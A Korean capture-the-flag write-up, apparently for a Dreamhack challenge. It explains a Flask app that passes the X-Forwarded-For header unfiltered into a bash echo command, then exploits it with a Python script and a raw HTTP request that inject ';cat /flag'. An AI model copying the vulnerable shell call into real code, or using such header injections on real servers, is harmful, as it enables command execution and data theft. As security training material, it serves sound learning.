flask로 구현된 client_ip 출력 웹 사이트
옵션 XFF 사용
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template
app = Flask(__name__)
app.secret_key = os.urandom(64)
@app.route('/')
def flag():
user_ip = request.access_route[0] if request.access_route else request.remote_addr
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
return render_template("ip.html", result=result.stdout)
except TimeoutExpired:
return render_template("ip.html", result="Timeout!")
app.run(host='0.0.0.0', port=3000)
user_ip = request.access_route[0] if request.access_route else request.remote_addr
request.access_route(XFF)가 존재하는 경우 request.access_route[0]번째 ip주소(client_ip)를 user_ip에 저장한다.
request.access_route(XFF)가 존재하지 않는 경우 request.remote_addr를 user_ip에 저장한다.
["/bin/bash", "-c", f"echo {user_ip}"]
bash에서 echo명령어를 실행하여 user_ip를 가져오는데 이 경우 아무런 필터링이 없기때문에 user_ip의 값을 조작가능하다면 command injection이 가능하다.
취약점
- 쉘 명령을 통해 ip 추출
- 사용자 입력을 검증하지 않음
위 취약점과 XFF헤더를 사용자가 프록시나 파이썬을 통해 추가할 수 있기 때문에 command injection을 수행할 수 있다.
프록시나 python을 통해 XFF헤더의 ip 이후에 ;(세미콜론)과 명령어를 추가하면 사용자 입력검증을 하지 않기떄문에 원하는 flag 값을 얻을 수 있다.
import requests
# 요청을 보낼 URL
url = '{URL}'
# 헤더에 X-Forwarded-For 추가
headers = {
'X-Forwarded-For': '127.0.0.1 ; cat /flag'
}
# GET 요청 보내기
response = requests.get(url, headers=headers)
# 응답 출력
print(response.status_code)
print(response.text)
GET / HTTP/1.1
Host: host3.dreamhack.games:14275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
X-Forwarded-For: {ip};cat /flag
Connection: keep-alive
무슨 이유인진 모르겠으나 프록시의 경우 connection위에 XFF헤더 삽입해야 플래그 값을 볼 수 있다.